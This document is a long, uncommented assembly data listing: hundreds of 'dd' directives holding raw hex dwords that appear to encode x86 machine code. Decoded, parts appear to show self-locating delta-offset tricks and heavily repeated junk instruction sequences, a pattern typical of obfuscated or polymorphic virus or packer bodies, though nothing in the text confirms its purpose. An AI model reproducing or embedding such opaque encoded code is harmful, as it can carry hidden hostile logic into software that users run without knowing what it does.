		dd 0EB01CD1Ch, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 86B97F86h, 6A2EB5h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8F64E6C3h, 5, 9E800h, 63980000h, 754F17E4h, 8193B344h
		dd 0B2711ED6h, 0C4835E21h, 9E904h, 0EF190000h, 70A86539h
		dd 0B3C4B17h, 0D0840FC0h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0F362C357h
		dd 0E2A867EEh, 3860Fh, 0BF0F0000h, 49B589F2h, 8D05EA0Bh
		dd 0EA4C21BDh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0AAEC2D7Bh, 89EF6D95h
		dd 0EA0D8D85h, 5B805h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0C2E340C3h, 66F9AFE8h
		dd 0FF7FEABEh, 51006AE7h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4EA8C329h, 8B573F4Ch
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 2BF7BF0Fh, 0F62DE9CAh,	0BF0FFFFFh
		dd 0C18BFCF2h, 2A15BD8Bh, 4EB05EAh, 0
		dd 0AE9h, 724A8400h, 766FC7A8h,	6A6DBD9Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 96EFC353h
		dd 892FC195h, 0EA10F985h, 8D858D05h, 8905EA29h,	0EA06ADB5h
		dd 52509005h, 6880Fh, 850F0000h, 0
		dd 0CE8310Fh, 53000000h, 67F15823h, 0C9EEBDF5h,	0BE8F8CEDh
		dd 6A2C71A2h, 50585A5Fh, 21BD8B90h, 6A05EA30h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0F18D0974h, 905EA0Eh, 0EA2D01BDh, 8D006A05h,	0EE135385h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F0B9580h, 8Ah, 5C08300h, 0BF50FE8Bh, 21542ABEh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 89EAC353h, 0EA2C599Dh,	0CDBD3105h
		dd 6A05EA1Ch, 85895100h, 5EA0CE1h, 89006A5Eh, 0EA1BB58Dh
		dd 0E995FF05h, 5205EA23h, 1C89B533h, 8D5E05EAh,	0EDD89D9Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B3CFA783h, 83BF3CCCh, 0FF31A135h, 0E99D29D3h
		dd 0FF05EA0Fh, 0EA1C4985h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A6AADF5Eh
		dd 2228593Ch, 9BF4BE66h, 79EE9h, 0E800h, 815D0000h, 0EE135DEDh
		dd 0F6816605h, 0BD814BF4h, 5EA169Dh, 7D0h, 0FE860Fh, 8BF50000h
		dd 0EA0B459Dh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 71FDA791h, 57CF8BA0h
		dd 5E8h, 69EFC900h, 8D317FB7h, 5EA0F29h, 0E3815Fh, 0F5000001h
		dd 850FDB0Bh, 89h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 2AC35242h, 0BEDB50Bh,	0AE905EAh, 0F2000000h
		dd 6F05EDB8h, 0DA490484h, 0CFBD83BDh, 5EE11h, 0E840Fh
		dd 85890000h, 5EA1DA5h,	50E9h, 0F38B6600h, 11CF85C7h, 105EEh
		dd 0B58B0000h, 5EA2025h, 38E9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 8FC64B31h
		dd 9EE36C3h, 0EA1BFD9Dh, 0CF85C705h, 5EE11h, 29000000h
		dd 0EA328595h, 459D8D05h, 0F05EA0Bh, 387h, 0FA8B6600h
		dd 0FEFF2381h, 8D0FFFFFh, 0
		dd 89DB8C66h, 0EA12BD85h, 4C3F605h, 31840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E075D3C3h, 5B156357h, 77D78166h, 0C595FFC1h, 5005EA2Ah
		dd 0E9240489h, 3FCh, 0B52900B0h, 5EA1BA5h, 0BD8B70E6h
		dd 5EA2EDDh, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66EF0AC3h, 689FF681h, 11399D89h
		dd 0B60F05EAh, 6BAD8h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 66FD59C3h, 0C38BF28Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D6C35040h
		dd 6850F1Fh, 89000000h,	0EA15C995h, 4E8C105h, 2381B589h
		dd 0F76605EAh, 61B58BE2h, 2B05EA2Eh, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1C09B2Ah, 6850Fh
		dd 0B58B0000h, 5EA3061h, 66525093h, 0F10ABBEh, 8E931h
		dd 0D09F0000h, 0A0988BFBh, 585ACA68h, 6A9350h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0FFF92BC3h, 0EA169DB5h, 1595FF05h, 0E905EA10h, 0Fh
		dd 685A7BAFh, 1B4A1F84h, 9AB79EF2h, 0B05858C4h,	51BD3300h
		dd 0E605EA01h, 6E870h, 0B84C0000h, 0DD204B7h, 71E45EFCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DFC35141h
		dd 0AA1C3DB5h, 0F613C25h, 29783h, 74BE6600h, 0D8B60F4Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CAC35646h
		dd 37E17E59h, 6BA36h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 98A1E0C3h, 661CD9E6h
		dd 0C38BF967h, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 1BDBC353h, 8E0F800Dh
		dd 0
		dd 66F0BF0Fh, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 871D82C3h, 0AAFD1665h, 66C863DCh
		dd 0D82BF78Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0EEC35747h, 3AAF936Ch, 8C0Fh, 8B600000h, 0EA065585h
		dd 0E5958905h, 6105EA23h, 0FE8h, 1CE03400h, 0B1F70CFFh
		dd 0AA5B9B83h, 53685F8Ah, 0F0DE8166h, 6A585E85h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0CBCFC351h, 0D9AE1265h, 1525BD8Bh, 0D82B05EAh, 16E880Fh
		dd 8A0F0000h, 6, 0F49B503h, 7B905EAh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 68DEC352h, 83A395E8h, 816600C1h, 3B670ECFh, 2D860FD9h
		dd 66000001h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0B409F1C3h, 0F04C1F6h, 0E284h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 4F4A3BE7h, 119D29EEh, 0FF05EA29h, 0EA2AC595h, 35B58B05h
		dd 5B05EA1Bh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0AC35646h, 2BF3B70Fh, 11E8C3h, 221F0000h, 0B7F1080Ah
		dd 0C16F4817h, 0C8219241h, 0E9EC0518h, 13h, 9BDC4205h
		dd 0BE0F2242h, 19B73336h, 0E0A0E0C8h, 5FDA91C8h, 8343Dh
		dd 54860F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 6733C357h, 0F319E057h
		dd 8962714Fh, 0EA1CFD8Dh, 46E905h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C2B1D4C3h
		dd 874DF11Eh, 8B2921D5h, 0C18589C0h, 0F05EA2Ah,	1389h
		dd 0BE800h, 0FE110000h,	3807483Fh, 7EF733F6h, 5EF98BF7h
		dd 0D88BC38Bh, 8E8h, 0B975A200h, 3D92C5BCh, 7DB58B83h
		dd 5E05EA0Ch, 444CBF66h, 14D585C7h, 0B1FB05EAh,	6A1D23h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0EEF6BDC3h, 8988DF4Ch, 0EA2A0995h, 6AC08B05h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0E84FC352h, 2A75BDF2h, 813A9AB5h, 0EA169DBDh, 7D005h
		dd 3F850F00h, 8B000000h, 9D85FFF1h, 6A05EA16h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C9C7C350h, 0E8DF55E4h, 0Bh,	36BB74DAh, 6AC3A376h, 8B76B6CAh
		dd 0EA12D5BDh, 0B5FF5F05h, 5EA169Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0C4C35040h,	8D0FB9A8h, 0
		dd 101595FFh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0B04673C3h, 25206D6Ch, 90F9F5B0h
		dd 2E6D9D89h, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 49D92DC3h, 32F19DC5h, 68E0Fh, 0BD890000h
		dd 5EA1685h, 9E960h, 68580000h,	334C0292h, 0E98EFBE5h
		dd 6, 279F806Ah, 8961C07Ah, 0EA1A8D85h,	6AF505h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BBF0DAC3h, 0C8B550C2h, 9253C781h, 8B0F5803h, 6, 1E4DB589h
		dd 0B58B05EAh, 5EA2CB1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 5DC35747h, 0A25769CFh, 4F30E161h, 6810FF4h
		dd 29000000h, 0EA0AD1B5h, 0E9B50305h, 6A05EA24h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F72C357h, 2B81h, 0B9B58B00h, 6005EA0Fh, 0C359D33h
		dd 0E9F505EAh, 11h, 33970127h, 8EC57046h, 1DC0A7BEh, 92EF8CCDh
		dd 41BD89AFh, 6105EA0Fh, 0FFF86CE9h, 5E9FFh, 14CB0000h
		dd 8B16916Ch, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E4FD8098h, 0F78B7C39h, 4EBh, 0B58B0000h
		dd 5EA08FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0A4C35141h, 14E8h, 0AB71B600h, 0FF311A5Bh, 1B547F0Bh
		dd 0F1273C14h, 0ACB600B4h, 858D5FA2h, 5EA298Dh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E9C35040h, 228B9500h
		dd 7559589h, 8B9005EAh,	8B9050F2h, 0EA0139B5h, 6A006A05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0F80C352h, 0BDBD892Ch, 0E905EA12h, 11h, 5AEFA424h
		dd 79798034h, 63796A90h, 0AE77BAD7h, 6A006AA4h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0BF3BC350h, 5A7C60BDh, 8BE613C3h, 0EA085DBDh, 2A858D05h
		dd 6A05EE1Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3D8CC355h, 3105C083h, 0EA24019Dh
		dd 0F605005h, 680h, 880F00h, 56000000h,	310F5250h, 6159585Ah
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E6E4C355h, 17BE666Dh,	0FB8B668Ch
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0BAB8D9C3h, 7BBC67F2h, 0EEBED911h, 6A286F45h
		dd 0E995FF00h, 6A05EA23h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E86AC350h,	0Bh, 0F266DC2h
		dd 0B2436AF2h, 8992A26Eh, 0EA1AF19Dh, 9D8D5F05h, 5EDD89Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B6C35242h
		dd 0F15BD8Bh, 0D3FF05EAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0BFC35141h, 0AE858BC6h, 3A5E444Ah, 1319D89h
		dd 5F5305EAh, 1C4985FFh, 0E9FC05EAh, 838h, 0E8h, 0ED815D00h
		dd 5EE1D34h, 9F58589h, 0BD8105EAh, 5EA169Dh, 7D0h, 162860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E8B5BFC3h, 11h, 0F3A22918h, 4CAC48AEh, 3351DA35h
		dd 3060A158h, 29BD8BB4h, 5E05EA13h, 8BF38B66h, 0EA15599Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0E147E82Ah, 87F6649Eh, 0E381F4h,	6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 39CFC353h, 0B77F2485h, 54503BC5h,	3E3479BEh
		dd 28E0F5Eh, 8B000000h,	0FDB0BFBh, 7885h, 1DBD8300h, 5EE1Bh
		dd 2F840Fh, 5F520000h, 8BE9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68C0F2Eh, 8B000000h
		dd 0EA1E89B5h, 1D85C705h, 105EE1Bh, 56000000h, 5740C681h
		dd 0E95F64C9h, 4Ch, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B6C35747h, 34B2C1CEh, 0CCEC4FB8h, 1D85C7F8h
		dd 5EE1Bh, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0C524C357h, 15599D8Dh,	5E905EAh
		dd 7C000000h, 9B372C1Ah, 81F28B66h, 0FFFEFF23h,	0F0BF0FFFh
		dd 0F5DB8C66h, 0F04C3F6h, 9684h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 8BF7161Fh
		dd 0E9FE2BC4h, 6, 8A321DCFh, 0DABE4FF7h, 0FF710581h, 0EA2AC595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0EC1ABC78h, 0FFA90E9h, 6690F0BFh, 50F074BFh
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 914758A9h, 0EE9h, 82346C00h, 7FE295Ch, 7549A9DEh
		dd 0E960021Eh, 42Ch, 1CCF8166h,	6A00B02Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BC1AC352h
		dd 68F0F3Ch, 89000000h,	0EA1D5D8Dh, 100BBE05h, 70E6513Fh
		dd 3065B58Bh, 0DE8105EAh, 312E8440h, 6A71E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0D6FBCDC3h
		dd 0CF81B5F1h, 5C56BCFEh, 6AD8B60Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 6FECC351h
		dd 0D4AD6905h, 4820F43h, 66000000h, 0BA0746BEh,	6, 0FB8B66FCh
		dd 9589C38Bh, 5EA0075h,	6A04E8C1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E9CBC356h
		dd 13h,	657914C6h, 9215E8E8h, 0B6B9CFADh, 0A11D8C9Bh, 665EA833h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 1994DCC3h, 9B38527Fh, 0E95A81FEh,	8, 0D01BE089h
		dd 0D28372A7h, 6AD82Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0EF15CFC3h, 0C6816685h, 0BF6666D3h
		dd 6093ECF0h, 0BE960h, 0EA300000h, 5C9807E8h, 5144239Fh
		dd 0E8B86675h, 1FB06125h, 11E95061h, 14000000h,	0D799CAEFh
		dd 68F8D660h, 92ADE732h, 0F20BD415h, 53006A93h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FF00B82Fh
		dd 0EA169DB5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 80CC5743h, 1732B8A1h
		dd 7E8h, 0DC3FF200h, 9638A766h,	8D0F5FF8h, 6, 2AB9BD8Bh
		dd 95FF05EAh, 5EA1015h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 72C35545h, 874610EEh,	0BC40A204h, 14E9h
		dd 80BA7600h, 4DCD444Fh, 0BD91B50Bh, 674C1612h,	3CFD0866h
		dd 6A00B0FEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2E27C357h, 9642C765h, 0CD84BE66h
		dd 6A70E6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0AA2B6C3h
		dd 870D8088h, 8D897715h, 5EA2AE5h, 6A71E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B52352C3h
		dd 5EA10F5h, 830F613Ch,	194h, 8518529h,	0B60F05EAh, 0C2BF66D8h
		dd 0F78B6018h, 32ADB589h, 0BA6105EAh, 6, 0BF66C38Bh, 0E8C15C9Ch
		dd 0FBB70F04h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 32EDC357h, 0AFC3563Ah
		dd 7638872Ah, 810FD82Bh, 6, 3011B503h, 6A5805EAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 8198C350h, 1E870F2Ch, 0E8000000h, 13h, 757FF2A2h, 0DF0B9FF4h
		dd 70348A31h, 28EAF043h, 0BF27DE5Dh, 2AD900E8h,	0FD82B5Eh
		dd 0EB88h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 7B9891Fh,	83000000h, 0D93B00C1h
		dd 0BE860Fh, 66F50000h,	6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F68E70C3h, 840F04C1h
		dd 7Ch,	7E9h, 0E2F90800h, 0D1D2E04Ah, 2AC595FFh, 14E905EAh
		dd 48000000h, 0B8D3CFC7h, 0FE3A0AE4h, 55D1912h,	13C51Fh
		dd 5B2BA79Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0DC35646h, 0B560E72Fh, 5F505158h, 0C32B615Fh, 2890Fh
		dd 0F78B0000h, 8343Dh, 15860F00h, 89000000h, 0EA104DBDh
		dd 22E905h, 0BF660000h,	9D892CD2h, 5EA0AB1h, 11E9C08Bh
		dd 0B4000000h, 45D1725Dh, 0A2AAC363h, 551A7776h, 93FD6935h
		dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	4FC35747h, 0BCF0854Dh, 0FEB9C752h, 8D895217h, 5EA30B9h
		dd 4585C75Fh, 0D905EA0Bh, 8916642Fh, 0EA2C89B5h, 66C08B05h
		dd 3E36DE81h, 169DBD81h, 7D005EAh, 850F0000h, 0Ah, 169D85FFh
		dd 0BE6605EAh, 0B5FF66E3h, 5EA169Dh, 3139BD8Bh,	8D8905EAh
		dd 5EA2F0Dh, 101595FFh,	6A05EAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 6A9074C3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0F98BC351h, 0F9CDF413h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E5C35343h, 53006AFCh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2FBD3C6Ah
		dd 23C19529h, 0BD8B05EAh, 5EA31C1h, 0B3DF8166h,	0F08B6614h
		dd 13E9h, 2EE69700h, 114D2336h,	6424CC3Bh, 84D87714h, 3E5E600Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 91C35343h
		dd 0F861833h, 685h, 9B58B00h, 0F05EA11h, 9589F3BFh, 5EA0745h
		dd 118DBD8Bh, 0FE8B05EAh, 53006AF9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0EE720825h
		dd 4874610h, 0AE9A2h, 8BFE0000h, 0F4230F5Dh, 0EECA325Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 87C35343h
		dd 98E4D674h, 0FF9BB93h, 0EDE9F1B7h, 6AFFFFF7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 162FC356h, 253DD487h, 0F8BF0FCBh, 6AC18Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9E97AC3h
		dd 0EA000000h, 4BA77F94h, 964B61ACh, 13D19D89h,	0B58905EAh
		dd 5EA2591h, 4EBh, 0B2600000h, 6A61A0h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8CF701C3h
		dd 60CA1439h, 2ED59529h, 8D6105EAh, 0EA298D85h,	19BD2B05h
		dd 5005EA2Ch, 5E95250h,	0FE000000h, 13C71C48h, 4895E5Eh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A614B544h, 0B2605376h, 880F006Ah, 3, 6AF08B66h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C3A8DEA4h, 13E950h, 42DE0000h, 16779207h
		dd 59D852DFh, 0C874119Ch, 39DE5775h, 858D5FA6h,	5EE2725h
		dd 24DDBD8Bh, 0C08305EAh, 4895005h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 2EDD21C1h
		dd 0E7812263h, 208C15C3h, 9D89006Ah, 5EA1A49h, 6CBE006Ah
		dd 0FF3DCBA9h, 0EA23E995h, 119D0105h, 8D05EA2Eh, 0EDD89D9Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 7F470679h, 9E744FB0h, 0FFFEBF0Fh, 56006AD3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FFAB5CE4h, 0EA1C4985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 6D881DDDh
		dd 3656A724h, 0DEE9F99Bh, 0E8000008h, 0
		dd 2FED815Dh, 6A05EE27h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 1FDAC351h, 18239340h
		dd 9112A6BFh, 9DBD8100h, 0D005EA16h, 0F000007h,	14186h
		dd 0E1953100h, 0F05EA29h, 9D8BFFB7h, 5EA2C81h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 80C35545h, 264237DDh
		dd 0F6BE7816h, 81045B13h, 100E3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 38D5AC1Fh
		dd 17B8ACD4h, 118D89C3h, 0B05EA00h, 70850FDBh, 57000000h
		dd 1A68BF66h, 0A1BD835Eh, 5EE25h, 48840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 5B4097C3h, 69E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0C0353A7h, 2AE9BD09h
		dd 85C705EAh, 5EE25A1h,	1, 34E9F8h, 0B7BF0000h,	0C70D777Dh
		dd 0EE25A185h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0E40734AFh, 0B6FFC6BBh
		dd 9D8D3891h, 5EA2C81h,	8FD8F781h, 238150B3h, 0FFFFFEFFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B2C35242h
		dd 66F06F71h, 8C6692F3h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 4C3F630h, 86840Fh, 0FF80000h
		dd 83h,	0C595FF00h, 6A05EA2Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 3393C357h, 0EA0995B5h
		dd 12E95005h, 9C000000h, 0E8597CB5h, 6588056Ch,	901FEAF1h
		dd 0B04BFB90h, 2404893Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 7C35040h, 0F27E353h, 686h, 0FDBD8900h
		dd 0E805EA32h, 5, 0E3F93BCCh, 15EF8185h, 5E5B3C55h, 493E9h
		dd 0F1B70F00h, 6A00B0h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0E6E27DC3h, 0B58BCE43h, 5EA19BDh
		dd 71E470E6h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	88C35646h, 9A632649h, 41B58B58h, 0F05EA03h, 6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0AB825DC3h, 33CD7AD2h, 8B66ADF4h, 6BAF8h, 8D890000h
		dd 5EA1A21h, 0EE9h, 0B8783800h,	3645A253h, 39227C88h, 8BBF2252h
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0C1533EE3h, 6A04E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 1D35A1C3h
		dd 8AB8BF90h, 0F766176Dh, 0D78166E2h, 0D82B5718h, 0CE9h
		dd 0E5F64200h, 4856B100h, 0C84ADAE4h, 14E993FBh, 5E000000h
		dd 35E4A903h, 0D2E9AEE2h, 20781020h, 0C1E9746h,	50AADAC4h
		dd 13E860h, 53270000h, 53B5FD83h, 5CF494A9h, 0AF3B2ADBh
		dd 885A1B72h, 5A5A52F0h, 9361D68Bh, 6870Fh, 0B58B0000h
		dd 5EA1209h, 2BD8501h, 0B5FF05EAh, 5EA169Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EBC35646h, 6FC91037h
		dd 0F7B70F56h, 1595FF5Fh, 6A05EA10h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F5EAC357h
		dd 0D9DB58Bh, 9E805EAh,	5000000h, 6E163460h, 730EFEFEh
		dd 1835BD8Bh, 0FC5F05EAh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 275666C3h, 2970E6FBh
		dd 0EA1545B5h, 6A71E405h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 37BFC352h, 0E50DBEB4h
		dd 0BD8B07D5h, 5EA10B5h, 830F613Ch, 280h, 0B4DBD03h, 0B60F05EAh
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 76FEB642h, 0B5894C9Bh, 5EA1B99h,	6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 713B040Eh, 42CD23B6h, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 4AADEFC3h, 0BF00DC01h
		dd 5A40EBFBh, 8904E8C1h, 0EA12F985h, 0E2F76605h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h, 16937DAh
		dd 0EA15B1B5h, 8BD82B05h, 6A58F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 15520AC3h, 0A9934614h
		dd 880FD82Bh, 1A0h, 0BE58529h, 7B905EAh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
